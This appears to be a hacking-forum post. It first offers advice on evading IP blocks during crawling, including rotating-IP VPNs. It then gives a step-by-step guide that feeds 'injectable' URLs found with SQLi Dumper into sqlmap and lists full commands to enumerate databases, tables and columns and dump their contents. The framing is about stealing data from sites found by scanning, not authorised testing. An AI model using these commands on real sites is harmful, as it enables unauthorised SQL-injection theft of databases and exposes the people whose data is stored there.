maybe you are being ddosed, try pinging google, bing, ask and webcrawler, if it takes more than 4 ms from the rdp it could mean you are being ddosed or connection is not working good.
or if it’s not about being DDOSed. Your IP might have flagged down as a spammer. Increase time delays each crawl or better get an auto change IP VPN.
Buy a new server and it will work fine.
IP of the current server you are using might be probably flagged as a spammer.
Best Way Dump Databases (5x Faster Than SQLi Dumper)
This method will teach you how to use a new program to dump ten times faster than SQLi
Step 1: After going through the whole SQLi Dumper process, find your injectable URL and hold on to it, these are usually found in the “Injectables” tab.
Step 2: Install sqlmap on your preferred operating system, (this requires python).
Step 3: Once installed launch sqlmap from here on out we will refer to this as just “sqlmap” (If installed with apt “sqlmap”, if being launched via directory “sqlmap.py” or “python sqlmap.py”)
Step 4: Once you have sqlmap open enter the following into the terminal [sqlmap -u “URL”] include the quotations around the URL. Answer the questions to your preference.
Step 5: Scanning is done! Time to dump!
(List databases): sqlmap -u "URL" --dbs (List tables): sqlmap -u "URL" -D "DATABASE" --tables (List columns): sqlmap -u "URL" -D "DATABASE" -T "TABLE" --columns (Initialize dump): sqlmap -u "URL" -D "DATABASE" -T "TABLE" -C "column1, column2, column3" --dump --eta
Once it’s done dumping it will notify you of the saved location for the database
